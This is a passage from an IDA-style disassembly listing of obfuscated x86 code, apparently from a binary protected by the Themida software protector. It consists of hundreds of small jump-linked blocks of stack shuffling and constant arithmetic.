xor eax, edx
pop edx
jmp loc_557723
; ---------------------------------------------------------------------------
loc_5648C5: ; CODE XREF: Themida_:00557FF3j
xor edx, [esp]
jmp loc_563C41
; ---------------------------------------------------------------------------
loc_5648CD: ; CODE XREF: Themida_:00550735j
sub eax, ebx
add eax, 459730ACh
pop ebx
add eax, 135B1893h
jmp loc_5592AA
; ---------------------------------------------------------------------------
loc_5648DF: ; CODE XREF: Themida_:005607C2j
pop edx
pop ecx
add ecx, ebx
pop ebx
jmp loc_55B161
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], esi
push 3062h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
push edx
push esi
jmp loc_563C66
; ---------------------------------------------------------------------------
loc_56490E: ; CODE XREF: Themida_:0055F9C7j
pop ebx
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
jmp loc_563157
; ---------------------------------------------------------------------------
loc_56491D: ; CODE XREF: Themida_:00560D94j
push edx
mov edx, 6BA672ABh
jmp loc_5600A0
; ---------------------------------------------------------------------------
loc_564928: ; CODE XREF: Themida_:00559924j
mov esi, [esp]
add esp, 4
inc edi
jmp loc_554822
; ---------------------------------------------------------------------------
loc_564934: ; CODE XREF: Themida_:00555831j
add eax, 4
jmp loc_554E70
; ---------------------------------------------------------------------------
loc_56493C: ; CODE XREF: Themida_:005621AEj
push edi
jmp loc_55CFB7
; ---------------------------------------------------------------------------
loc_564942: ; CODE XREF: Themida_:0055F850j
push esp
jmp loc_557843
; ---------------------------------------------------------------------------
loc_564948: ; CODE XREF: Themida_:0055877Aj
sub ebp, 253543B6h
xor ebp, 9BFB8D05h
xor edx, ebp
pop ebp
sub edi, edx
pop edx
mov ebx, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebx
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
push edi
jmp loc_55A5E8
; ---------------------------------------------------------------------------
loc_56497E: ; CODE XREF: Themida_:00564CC7j
sub ebx, 1
add ebx, 795C0CEFh
shl ebx, 5
add ebx, 351B68A1h
xor ebx, 0AE75AB62h
add ebp, ebx
pop ebx
jmp loc_557199
; ---------------------------------------------------------------------------
loc_56499E: ; CODE XREF: Themida_:005596FDj
add edi, esi
pop esi
mov edx, [esp]
add esp, 4
add edi, 2
jmp loc_559322
; ---------------------------------------------------------------------------
loc_5649B2: ; CODE XREF: Themida_:00559FF0j
neg ebp
xor ebp, 35F3512h
sub ebp, 2C0A2DF0h
jmp loc_55CFE1
; ---------------------------------------------------------------------------
loc_5649C5: ; CODE XREF: Themida_:00565530j
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
jmp loc_55EA28
; ---------------------------------------------------------------------------
loc_5649D4: ; CODE XREF: Themida_:005568DAj
pop edx
sub ebp, edi
pop edi
push edi
jmp loc_55EA0D
; ---------------------------------------------------------------------------
loc_5649DE: ; CODE XREF: Themida_:0056043Cj
push 4ACh
mov [esp], ebp
mov ebp, 4
add ebx, ebp
jmp loc_557856
; ---------------------------------------------------------------------------
loc_5649F2: ; CODE XREF: Themida_:0055E180j
sub esp, 4
jmp loc_55CB93
; ---------------------------------------------------------------------------
loc_5649FD: ; CODE XREF: Themida_:00562578j
movzx ecx, al
push 6A1Dh
mov [esp], edi
push esp
pop edi
jmp loc_55D7EE
; ---------------------------------------------------------------------------
loc_564A0F: ; CODE XREF: Themida_:0056201Dj
push esi
jmp loc_5566A6
; ---------------------------------------------------------------------------
loc_564A15: ; CODE XREF: Themida_:005595D7j
sub bl, 16h
mov cl, bl
jmp loc_555DE6
; ---------------------------------------------------------------------------
loc_564A1F: ; CODE XREF: Themida_:005569A7j
sub al, 1Bh
sub esp, 4
mov [esp], ecx
mov cl, 0D5h
not cl
sub cl, 54h
sub al, cl
pop ecx
push bx
mov bh, 85h
sub esp, 2
mov [esp], cx
sub esp, 4
mov [esp], ebx
mov bh, 0F7h
dec bh
neg bh
jmp loc_55CA96
; ---------------------------------------------------------------------------
loc_564A50: ; CODE XREF: Themida_:0055926Fj
sub ebp, eax
sub ebp, 67FF6107h
pop eax
add eax, 5FEC3B6Eh
jmp loc_55375D
; ---------------------------------------------------------------------------
loc_564A63: ; CODE XREF: Themida_:0055DDEBj
pop edi
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55C4BF
; ---------------------------------------------------------------------------
loc_564A75: ; CODE XREF: Themida_:0055E944j
pop edx
sub esp, 4
jmp loc_55267B
; ---------------------------------------------------------------------------
loc_564A81: ; CODE XREF: Themida_:0055843Dj
xor dx, cx
jmp loc_55CD6B
; ---------------------------------------------------------------------------
loc_564A89: ; CODE XREF: Themida_:00551C30j
pop dword ptr [esp]
push ebx
mov ebx, 4
push eax
mov eax, 371A77CCh
sub [esp+8], eax
pop eax
jmp loc_561B9C
; ---------------------------------------------------------------------------
loc_564AA2: ; CODE XREF: Themida_:00562EB5j
add esp, 4
add ebx, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xor ebx, [esp]
xor [esp], ebx
jmp loc_563C56
; ---------------------------------------------------------------------------
loc_564AC5: ; CODE XREF: Themida_:00552489j
mov esi, 14C0414Bh
jmp loc_56347A
; ---------------------------------------------------------------------------
loc_564ACF: ; CODE XREF: Themida_:0055A16Aj
shl edi, 4
jmp loc_555299
; ---------------------------------------------------------------------------
loc_564AD7: ; CODE XREF: Themida_:0055319Bj
mov [esp], edi
mov edi, esp
jmp loc_55D268
; ---------------------------------------------------------------------------
loc_564AE1: ; CODE XREF: Themida_:005532B5j
add eax, edx
jmp loc_5511F8
; ---------------------------------------------------------------------------
loc_564AE8: ; CODE XREF: Themida_:00550E72j
push esi
mov esi, 53884633h
neg esi
dec esi
sub esi, 39F32053h
neg esi
jmp loc_550AC5
; ---------------------------------------------------------------------------
loc_564AFE: ; CODE XREF: Themida_:00563B2Aj
mov edx, 0B724345h
jmp loc_557931
; ---------------------------------------------------------------------------
loc_564B08: ; CODE XREF: Themida_:005564E3j
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 7D9321D4h
sub edi, 183E4001h
shr edi, 7
sub edi, 44D30A2Ah
jmp loc_550585
; ---------------------------------------------------------------------------
loc_564B3A: ; CODE XREF: Themida_:00564C1Dj
xchg edx, [esp]
pop esp
xor ebx, 13935647h
push 0
jmp loc_55CC0D
; ---------------------------------------------------------------------------
loc_564B4E: ; CODE XREF: Themida_:0055EC96j
add edx, 6A69432Bh
push ebx
mov ebx, 782A7896h
xor edx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_552ED2
; ---------------------------------------------------------------------------
loc_564B67: ; CODE XREF: Themida_:005537A3j
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push 7B05h
mov [esp], eax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_564B81: ; CODE XREF: Themida_:00565374j
push dword ptr [esp]
pop edi
jmp loc_551298
; ---------------------------------------------------------------------------
loc_564B8A: ; CODE XREF: Themida_:005652F7j
add ebx, 18862C4Ah
pop eax
xchg ebx, [esp]
pop esp
push 4995h
mov [esp], ebx
mov ebx, 4
sub ebp, 0F70789Ch
jmp loc_550CD9
; ---------------------------------------------------------------------------
loc_564BAD: ; CODE XREF: Themida_:005513C1j
mov ax, 481Ah
sub [esp+4], ax
pop ax
mov di, [esp]
push 72EAh
jmp loc_5567C1
; ---------------------------------------------------------------------------
loc_564BC6: ; CODE XREF: Themida_:00554F70j
add ebx, edi
jmp loc_55133E
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55E022
; ---------------------------------------------------------------------------
loc_564BD6: ; CODE XREF: Themida_:00552868j
inc eax
xor eax, 55FC76C8h
jmp loc_55263B
; ---------------------------------------------------------------------------
loc_564BE1: ; CODE XREF: Themida_:005638CFj
sub ebx, 5F040BEFh
jmp loc_565BD2
; ---------------------------------------------------------------------------
loc_564BEC: ; CODE XREF: Themida_:0055FB0Aj
pop ecx
add edx, 2
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5510E4
; ---------------------------------------------------------------------------
loc_564C01: ; CODE XREF: Themida_:0055BC76j
sub esp, 4
jmp loc_552078
; ---------------------------------------------------------------------------
loc_564C09: ; CODE XREF: Themida_:005583BDj
add esi, 10263D62h
jmp loc_55DCEE
; ---------------------------------------------------------------------------
loc_564C14: ; CODE XREF: Themida_:00558AF5j
add edx, 4
add edx, 4
jmp loc_564B3A
; ---------------------------------------------------------------------------
loc_564C22: ; CODE XREF: Themida_:0055AF1Fj
sub esi, 4
xchg esi, [esp]
jmp loc_550640
; ---------------------------------------------------------------------------
loc_564C2D: ; CODE XREF: Themida_:0055E82Cj
mov bl, 8Ah
shl bl, 3
shr bl, 6
neg bl
inc bl
sub bl, 70h
xor ch, bl
mov ebx, [esp]
add esp, 4
sub dh, ch
mov ecx, [esp]
jmp loc_55A86E
; ---------------------------------------------------------------------------
loc_564C4E: ; CODE XREF: Themida_:0055A3BEj
xchg edi, [esp]
pop esp
and al, cl
mov cx, [esp]
push 27B8h
mov [esp], eax
mov eax, esp
push ebp
mov ebp, 4
jmp loc_55DFE8
; ---------------------------------------------------------------------------
loc_564C6D: ; CODE XREF: Themida_:00553118j
mov eax, esp
sub esp, 4
mov [esp], edi
mov edi, 252E62F1h
and edi, 1778090Bh
shr edi, 2
inc edi
xor edi, 14A0005h
jmp loc_55E1C8
; ---------------------------------------------------------------------------
loc_564C8F: ; CODE XREF: Themida_:00558730j
add esp, 4
jmp loc_55A13B
; ---------------------------------------------------------------------------
loc_564C9A: ; CODE XREF: Themida_:005601A6j
mov edi, [esp]
add esp, 4
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
push 2EE4h
mov [esp], edi
jmp loc_558493
; ---------------------------------------------------------------------------
loc_564CBC: ; CODE XREF: Themida_:0055C0F5j
mov ebx, 4BE94D7Dh
or ebx, 73871B25h
jmp loc_56497E
; ---------------------------------------------------------------------------
loc_564CCC: ; CODE XREF: Themida_:00558716j
add esp, 4
xor ecx, edx
jmp loc_56414F
; ---------------------------------------------------------------------------
loc_564CD6: ; CODE XREF: Themida_:0055812Cj
shr dl, 4
shr dl, 6
add dl, 0ABh
xor dl, 43h
mov al, dl
pop edx
not al
not al
sub al, 26h
jmp loc_5545DE
; ---------------------------------------------------------------------------
loc_564CF0: ; CODE XREF: Themida_:0055B790j
mov [eax], ebp
jmp loc_5554F4
; ---------------------------------------------------------------------------
loc_564CF7: ; CODE XREF: Themida_:0055C3F7j
pop ebp
not edi
dec edi
xor edi, 8A56E165h
add ebp, edi
pop edi
mov edx, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55EEED
; ---------------------------------------------------------------------------
loc_564D20: ; CODE XREF: Themida_:00558AAAj
push 4A7C301Dh
pop eax
xor eax, 19FB47E0h
mov edx, eax
pop eax
sub edx, 19E05EF3h
sub ecx, 5C01534Fh
add ecx, 558F0CB6h
add ecx, edx
push edx
push ebx
jmp loc_560535
; ---------------------------------------------------------------------------
loc_564D49: ; CODE XREF: Themida_:0055C4E0j
push edi
push eax
mov eax, 5F153DA5h
sub eax, 1C72E4B1h
jmp loc_559E8D
; ---------------------------------------------------------------------------
loc_564D5A: ; CODE XREF: Themida_:00553715j
sub esp, 4
jmp loc_5593B5
; ---------------------------------------------------------------------------
loc_564D62: ; CODE XREF: Themida_:0055F6A0j
xchg eax, [esp]
pop esi
xor esi, 9319A016h
add ecx, esi
push dword ptr [esp]
jmp loc_560750
; ---------------------------------------------------------------------------
loc_564D76: ; CODE XREF: Themida_:0055D79Dj
mov ecx, 32B25123h
jmp loc_5555E2
; ---------------------------------------------------------------------------
loc_564D80: ; CODE XREF: Themida_:005542EEj
sub edx, esi
pop esi
jmp loc_557849
; ---------------------------------------------------------------------------
loc_564D88: ; CODE XREF: Themida_:00551205j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push ebp
jmp loc_556C45
; ---------------------------------------------------------------------------
loc_564D9A: ; CODE XREF: Themida_:00561596j
add ecx, 1E405A77h
sub ecx, 19317CD4h
mov ebx, [esp]
add esp, 4
add edx, ecx
pop ecx
push edx
push dword ptr [esp+4]
jmp loc_550529
; ---------------------------------------------------------------------------
loc_564DBC: ; CODE XREF: Themida_:00564556j
push ebx
push esp
pop ebx
add ebx, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5625B9
; ---------------------------------------------------------------------------
loc_564DD9: ; CODE XREF: Themida_:00562BAEj
add ebp, 30CA6095h
sub ebp, 0C0387249h
add edi, ebp
pop ebp
xor edi, 56395D7Ch
jmp loc_560465
; ---------------------------------------------------------------------------
loc_564DF3: ; CODE XREF: Themida_:005517CCj
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_55FED4
; ---------------------------------------------------------------------------
loc_564DFF: ; CODE XREF: Themida_:00561DF4j
mov ebp, 533145DEh
push 20B5h
mov [esp], ecx
jmp loc_55E52C
; ---------------------------------------------------------------------------
loc_564E11: ; CODE XREF: Themida_:00554598j
push edx
mov dh, 0C7h
dec dh
jmp loc_552BFE
; ---------------------------------------------------------------------------
loc_564E1B: ; CODE XREF: Themida_:00563DE5j
xor edi, [esp]
jmp loc_558617
; ---------------------------------------------------------------------------
loc_564E23: ; CODE XREF: Themida_:0055ADE4j
not eax
or eax, 38E45B8Bh
jmp loc_558C45
; ---------------------------------------------------------------------------
loc_564E2F: ; CODE XREF: Themida_:00558BAEj
mov edi, 10E85B0Ah
mov ebp, 10E85B0Eh
xor ebp, edi
jmp loc_55B29C
; ---------------------------------------------------------------------------
loc_564E40: ; CODE XREF: Themida_:0055054Ej
mov [esp], edx
push esp
push dword ptr [esp]
pop edx
push edx
mov edx, esp
push esi
mov esi, 770A0206h
and esi, 4077272h
neg esi
add esi, 4020206h
add edx, esi
jmp loc_554098
; ---------------------------------------------------------------------------
loc_564E66: ; CODE XREF: Themida_:0055FAF6j
sub ebp, 3F6F1570h
add ebp, 0A0175ECAh
add eax, ebp
pop ebp
add eax, 58769CCh
jmp loc_557C54
; ---------------------------------------------------------------------------
loc_564E7F: ; CODE XREF: Themida_:00557A9Dj
pop esp
mov [esp], esi
push 7011h
mov [esp], ebp
jmp loc_55EAA6
; ---------------------------------------------------------------------------
loc_564E90: ; CODE XREF: Themida_:005622A0j
push dword ptr [esp]
jmp loc_5556A5
; ---------------------------------------------------------------------------
loc_564E98: ; CODE XREF: Themida_:005527BEj
mov [esp], ebp
push esp
mov ebp, [esp]
push ebx
jmp loc_56421A
; ---------------------------------------------------------------------------
loc_564EA5: ; CODE XREF: Themida_:00561EF9j
add esp, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_55DEC1
; ---------------------------------------------------------------------------
loc_564EB3: ; CODE XREF: Themida_:00555B15j
add ecx, ebp
pop ebp
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_557415
; ---------------------------------------------------------------------------
loc_564EC7: ; CODE XREF: Themida_:00561240j
mov al, 18h
add bl, 17h
add bl, al
push ecx
mov cl, 3Ch
shr cl, 8
xor cl, 17h
sub bl, cl
pop ecx
mov ax, [esp]
jmp loc_557FF8
; ---------------------------------------------------------------------------
loc_564EE3: ; CODE XREF: Themida_:005536C2j
mov edi, 2
sub ebp, 68734AC3h
add ebp, 653B6BF1h
jmp loc_553F53
; ---------------------------------------------------------------------------
loc_564EF9: ; CODE XREF: Themida_:0055E1CBj
add eax, 4
jmp loc_562A4B
; ---------------------------------------------------------------------------
loc_564F03: ; CODE XREF: Themida_:005521F2j
neg edi
add edi, 2FF8E6CDh
xor ebx, edi
jmp loc_564F62
; ---------------------------------------------------------------------------
loc_564F12: ; CODE XREF: Themida_:0055D521j
mov esp, [esp]
mov [edx], cl
pop ecx
jmp loc_550420
; ---------------------------------------------------------------------------
loc_564F1D: ; CODE XREF: Themida_:0055653Bj
push 2C62h
mov [esp], eax
push esp
jmp loc_563ACC
; ---------------------------------------------------------------------------
loc_564F2B: ; CODE XREF: Themida_:005585A6j
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
mov esi, [esp]
jmp loc_556C4C
; ---------------------------------------------------------------------------
loc_564F43: ; CODE XREF: Themida_:005578C8j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
push 9Bh
jmp loc_557AD4
; ---------------------------------------------------------------------------
loc_564F62: ; CODE XREF: Themida_:00564F0Dj
pop edi
mov edi, ebx
pop ebx
add esi, 782032C6h
add esi, edi
jmp loc_556599
; ---------------------------------------------------------------------------
loc_564F73: ; CODE XREF: Themida_:0055E26Fj
pop esi
jmp loc_5512B8
; ---------------------------------------------------------------------------
loc_564F79: ; CODE XREF: Themida_:00558FFBj
xchg ecx, ebp
and ebp, 749230DBh
add ebp, 0BFFFEFF9h
add ebx, ebp
pop ebp
jmp loc_559734
; ---------------------------------------------------------------------------
loc_564F8F: ; CODE XREF: Themida_:0055D27Aj
mov esi, 6FF42091h
xor esi, 1DD50B24h
xor esi, 6D312E19h
neg esi
jmp loc_5555BB
; ---------------------------------------------------------------------------
loc_564FA7: ; CODE XREF: Themida_:0055A0D2j
add edx, ebx
pop ebx
xor edx, [esp]
xor [esp], edx
jmp loc_552237
; ---------------------------------------------------------------------------
loc_564FB5: ; CODE XREF: Themida_:0055A76Bj
sub edi, ecx
pop ecx
push edi
push dword ptr [esp+4]
jmp loc_552CFB
; ---------------------------------------------------------------------------
loc_564FC2: ; CODE XREF: Themida_:00561D5Cj
xchg ebp, [esp]
pop esp
push 1502h
mov [esp], ecx
jmp loc_552BF4
; ---------------------------------------------------------------------------
loc_564FD3: ; CODE XREF: Themida_:0055D1DDj
inc ecx
add ecx, 0FEED922Ah
sub ebp, 58D108A8h
add ebp, 4F0C5A08h
add ebp, ecx
sub ebp, 4F0C5A08h
add ebp, 58D108A8h
mov ecx, [esp]
add esp, 4
jmp loc_555698
; ---------------------------------------------------------------------------
loc_565002: ; CODE XREF: Themida_:0055E644j
neg ebp
shl ebp, 5
push edi
jmp loc_557C8B
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5D16h
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_55E7C5
; ---------------------------------------------------------------------------
loc_565032: ; CODE XREF: Themida_:0055DA56j
push esi
mov esi, 0FBF1CA6h
jmp loc_55D439
; ---------------------------------------------------------------------------
loc_56503D: ; CODE XREF: Themida_:0055B5D3j
push ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
mov eax, [esp]
add esp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
xor eax, [esp]
xor [esp], eax
jmp loc_5579C3
; ---------------------------------------------------------------------------
loc_565069: ; CODE XREF: Themida_:005537FEj
push eax
push edx
jmp loc_5571E1
; ---------------------------------------------------------------------------
loc_565070: ; CODE XREF: Themida_:005590EAj
sub dh, bl
pop bx
mov bl, dh
pop edx
xor ch, bl
mov ebx, [esp]
jmp loc_55B3B4
; ---------------------------------------------------------------------------
loc_565081: ; CODE XREF: Themida_:005512BCj
pop eax
pop ebp
add eax, 6CD319C6h
add eax, 78F94D5Fh
jmp loc_55A807
; ---------------------------------------------------------------------------
loc_565092: ; CODE XREF: Themida_:00563B55j
pop eax
add eax, ecx
mov ecx, [esp]
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], esp
jmp loc_55E14A
; ---------------------------------------------------------------------------
loc_5650AF: ; CODE XREF: Themida_:0055234Aj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
and eax, esi
push dword ptr [esp]
pop esi
add esp, 4
shr eax, 18h
xor eax, ecx
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
sub esp, 4
mov [esp], edi
jmp loc_56164C
; ---------------------------------------------------------------------------
loc_5650E7: ; CODE XREF: Themida_:005573EEj
add bl, 19h
sub bl, dl
push edx
mov dh, 36h
dec dh
or dh, 32h
jmp loc_550927
; ---------------------------------------------------------------------------
loc_5650F9: ; CODE XREF: Themida_:00551314j
push small 2C54h
mov [esp], bx
jmp loc_561C3F
; ---------------------------------------------------------------------------
loc_565106: ; CODE XREF: Themida_:00556368j
push ebx
mov ebx, 4
add edi, ebx
mov ebx, [esp]
jmp loc_553632
; ---------------------------------------------------------------------------
loc_565116: ; CODE XREF: Themida_:00556FF4j
pop esp
jmp loc_556AB6
; ---------------------------------------------------------------------------
loc_56511C: ; CODE XREF: Themida_:00556A5Bj
push dword ptr [esp]
jmp loc_55C661
; ---------------------------------------------------------------------------
loc_565124: ; CODE XREF: Themida_:00552476j
sub bl, dl
pop edx
jmp loc_550FDF
; ---------------------------------------------------------------------------
loc_56512C: ; CODE XREF: Themida_:0055117Ej
mov ecx, 0F9F2575h
xor ecx, 330F190Dh
not ecx
add ecx, 6CAD62DBh
jmp loc_560302
; ---------------------------------------------------------------------------
loc_565144: ; CODE XREF: Themida_:00563391j
mov [esp], esi
mov esi, 4
add edx, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5599B5
; ---------------------------------------------------------------------------
loc_565168: ; CODE XREF: Themida_:00556E6Ej
mov ebx, esp
jmp loc_557DBC
; ---------------------------------------------------------------------------
loc_56516F: ; CODE XREF: Themida_:0055B705j
mov ebx, 4D2959B0h
shl ebx, 6
push ecx
jmp loc_55A65F
; ---------------------------------------------------------------------------
loc_56517D: ; CODE XREF: Themida_:0055C653j
sub al, bl
sub al, 0E4h
sub esp, 2
mov [esp], bx
push dx
mov dl, 0C8h
mov bl, dl
mov dx, [esp]
push esi
push esp
jmp loc_5607D7
; ---------------------------------------------------------------------------
loc_565199: ; CODE XREF: Themida_:005630BEj
mov esi, eax
jmp loc_55D45A
; ---------------------------------------------------------------------------
loc_5651A0: ; CODE XREF: Themida_:00556B35j
mov dl, 2
xor ch, dl
pop dx
sub bl, 34h
add bl, ch
add bl, 34h
pop ecx
push ecx
mov cl, 9Bh
shl cl, 3
and cl, 80h
shr cl, 6
dec cl
inc cl
sub cl, 0D7h
sub bl, 0EDh
add bl, cl
sub esp, 4
mov [esp], edx
jmp loc_55451E
; ---------------------------------------------------------------------------
loc_5651D5: ; CODE XREF: Themida_:0055FC90j
mov edx, [esp]
add esp, 4
pop ecx
loc_5651DF: ; CODE XREF: Themida_:00558C2Ej
push 1A22h
mov [esp], ebp
jmp loc_5581EA
; ---------------------------------------------------------------------------
loc_5651EC: ; CODE XREF: Themida_:0055450Fj
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push dword ptr [edi+1Ch]
jmp loc_552A89
; ---------------------------------------------------------------------------
loc_565204: ; CODE XREF: Themida_:0055387Aj
mov edi, esp
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_55E965
; ---------------------------------------------------------------------------
loc_565217: ; CODE XREF: Themida_:00551E37j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56521C: ; CODE XREF: Themida_:00554CDBj
add esp, 4
sub esi, 61BB6BD9h
neg esi
jmp loc_560AFF
; ---------------------------------------------------------------------------
loc_56522F: ; CODE XREF: Themida_:0055E125j
push esi
jmp loc_554E91
; ---------------------------------------------------------------------------
loc_565235: ; CODE XREF: Themida_:005580B6j
sub al, 8Bh
jmp loc_565566
; ---------------------------------------------------------------------------
loc_56523C: ; CODE XREF: Themida_:00552BA3j
pop ecx
pop edi
add esi, ebp
jmp loc_56293D
; ---------------------------------------------------------------------------
loc_565245: ; CODE XREF: Themida_:0056375Aj
add ecx, 1
dec ecx
jmp loc_555609
; ---------------------------------------------------------------------------
loc_565251: ; CODE XREF: Themida_:00557625j
xchg eax, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
push edx
mov edx, 71A77992h
add edx, 15BC0BB9h
jmp loc_5594E1
; ---------------------------------------------------------------------------
loc_56526B: ; CODE XREF: Themida_:0055CFDCj
pop ebx
xor esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_558D1D
; ---------------------------------------------------------------------------
loc_565279: ; CODE XREF: Themida_:00557D12j
add esp, 4
push 1C96h
mov [esp], edx
mov edx, 4
push edx
push ecx
mov ecx, 22844747h
shr ecx, 8
not ecx
sub ecx, 0B3856710h
mov edx, ecx
jmp loc_5591C6
; ---------------------------------------------------------------------------
loc_5652A5: ; CODE XREF: Themida_:005546EFj
add ebp, 4
xchg ebp, [esp]
pop esp
push 4654h
mov [esp], ecx
push ebp
push 16354023h
pop ebp
xor ebp, 16354021h
jmp loc_55F6C5
; ---------------------------------------------------------------------------
loc_5652C9: ; CODE XREF: Themida_:005636CFj
mov [esp], eax
mov eax, 451317D4h
sub eax, 3FEB556Dh
not eax
shr eax, 3
sub eax, 0FCA3C14Ah
dec eax
shr eax, 4
jmp loc_5558A3
; ---------------------------------------------------------------------------
loc_5652E9: ; CODE XREF: Themida_:00557992j
push eax
mov eax, 4
sub ebx, 18862C4Ah
add ebx, eax
jmp loc_564B8A
; ---------------------------------------------------------------------------
loc_5652FC: ; CODE XREF: Themida_:0055B24Ej
mov esi, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_55D0ED
; ---------------------------------------------------------------------------
loc_565319: ; CODE XREF: Themida_:005548C8j
mov ecx, 778C7822h
jmp loc_55E849
; ---------------------------------------------------------------------------
loc_565323: ; CODE XREF: Themida_:00556586j
and edx, 1DBF5DEAh
jmp loc_563231
; ---------------------------------------------------------------------------
loc_56532E: ; CODE XREF: Themida_:00550F32j
push ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_560509
; ---------------------------------------------------------------------------
loc_56533E: ; CODE XREF: Themida_:0055E7A8j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_565343: ; CODE XREF: Themida_:005551C1j
sub ebx, 5E863B2h
jmp loc_55A66B
; ---------------------------------------------------------------------------
loc_56534E: ; CODE XREF: Themida_:0055048Ej
mov dl, bl
jmp loc_5656F7
; ---------------------------------------------------------------------------
loc_565355: ; CODE XREF: Themida_:005576D7j
not esi
xor esi, 48CE1A72h
jmp loc_551D69
; ---------------------------------------------------------------------------
loc_565362: ; CODE XREF: Themida_:00555327j
push edi
mov edi, 50617495h
shr edi, 8
inc edi
sub edi, 0B31BFBDCh
add ebx, edi
jmp loc_564B81
; ---------------------------------------------------------------------------
loc_565379: ; CODE XREF: Themida_:00556993j
xor ebx, edx
pop edx
xor ebx, 9FEE868Ch
add edi, ebx
pop ebx
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], esi
push eax
mov eax, 0D064AB9h
mov esi, 0D064ABDh
sub esi, eax
pop eax
jmp loc_55A42D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5653B6: ; CODE XREF: Themida_:005561E8j
xor ebp, 5DBB6CBBh
mov edi, ebp
mov ebp, [esp]
add esp, 4
add eax, edi
jmp loc_5553C0
; ---------------------------------------------------------------------------
loc_5653CB: ; CODE XREF: Themida_:00561C03j
push 5E6Eh
mov [esp], edi
mov edi, 0FB373EBh
xchg ebx, edi
not ebx
xchg ebx, edi
and edi, 0B7324F5h
push edx
push esi
push ebx
mov ebx, 369F291Ch
mov esi, 0ACD8574Dh
jmp loc_562F08
; ---------------------------------------------------------------------------
loc_5653F6: ; CODE XREF: Themida_:005508E3j
add eax, edx
jmp loc_561356
; ---------------------------------------------------------------------------
loc_5653FD: ; CODE XREF: Themida_:005555B6j
push ebx
mov bh, 0AEh
push ecx
mov ch, bh
mov dl, ch
pop ecx
pop ebx
jmp loc_55441F
; ---------------------------------------------------------------------------
loc_56540C: ; CODE XREF: Themida_:005636A9j
pop esp
jmp loc_563943
; ---------------------------------------------------------------------------
loc_565412: ; CODE XREF: Themida_:0055A197j
pop ecx
add eax, ebp
pop ebp
jmp loc_552D9E
; ---------------------------------------------------------------------------
loc_56541B: ; CODE XREF: Themida_:00561D9Aj
add esp, 4
push ebp
push edx
mov edx, 4C930D8Dh
mov ebp, 0CE5C0D43h
add ebp, edx
pop edx
add eax, 5A0707DBh
jmp loc_55A318
; ---------------------------------------------------------------------------
loc_565437: ; CODE XREF: Themida_:00554CA6j
or dl, bl
pop bx
and dl, 0A2h
push small 7C30h
mov [esp], cx
mov ch, 6Ah
add dl, ch
mov cx, [esp]
add esp, 2
add al, dl
pop edx
push ecx
jmp loc_555FBD
; ---------------------------------------------------------------------------
loc_56545D: ; CODE XREF: Themida_:00550FE2j
push ecx
mov cl, 0CEh
shr cl, 8
push ax
mov al, 8
inc al
inc al
jmp loc_5517E9
; ---------------------------------------------------------------------------
loc_565470: ; CODE XREF: Themida_:0055D4A6j
pop eax
jmp loc_563EEF
; ---------------------------------------------------------------------------
loc_565476: ; CODE XREF: Themida_:00556066j
mov eax, 37D73E1Dh
mov ebx, 674587F4h
sub ebx, eax
pop eax
not ebx
or ebx, 0FE820ADh
not ebx
inc ebx
sub ebx, 1
shl ebx, 8
push 5BDBh
jmp loc_564461
; ---------------------------------------------------------------------------
loc_5654A1: ; CODE XREF: Themida_:00554B39j
mov ecx, 4
jmp loc_556F84
; ---------------------------------------------------------------------------
loc_5654AB: ; CODE XREF: Themida_:00563FBCj
add ecx, esi
jmp loc_55DC8C
